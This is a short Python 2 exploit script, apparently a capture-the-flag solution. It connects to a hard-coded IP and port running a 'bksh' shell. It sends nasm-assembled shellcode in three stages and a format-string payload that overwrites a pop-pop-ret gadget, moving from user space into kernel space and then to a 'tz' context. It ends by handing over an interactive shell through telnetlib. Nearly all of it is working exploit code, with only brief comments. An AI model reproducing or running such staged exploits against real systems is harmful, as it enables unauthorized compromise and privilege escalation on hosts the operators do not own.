#!/usr/bin/python
import struct
import socket
import telnetlib
import time

'''
nasm -f bin -o stage1.bin stage1.asm
nasm -f bin -o stage1.5.bin stage1.5.asm
nasm -f bin -o stage2.bin stage2.asm ./sploit.py
'''

def readuntil(f, delim='bksh> '):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

stage1 = open('stage1.bin').read()
stage1_5 = open('stage1.5.bin').read()
stage2 = open('stage2.bin').read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.165.91.92', 8899))
f = s.makefile('rw', bufsize=0)

readuntil(f)

f.write('create lol\n'.ljust(0x400, '\0'))
# Runs in kspace.
f.write(stage1_5.ljust(0x100, '\0'))
readuntil(f)

pop_pop_ret = 0x40110F

f.write('create fmt\n'.ljust(0x400, '\0'))

payload = '%280x' + p(pop_pop_ret)
f.write(payload.ljust(0x100, '\0'))
readuntil(f)

# Runs in uspace, triggers stage 1.5 in kspace.
f.write(('cat fmt ' + stage1 + '\n').ljust(0x400, '\0'))

# Runs in kspace, gives shell in tz.
f.write(stage2.rjust(0x400, '\x90'))

readuntil(f, 'hello\n')

print 'you have a shell'

t = telnetlib.Telnet()
t.sock = s
t.interact()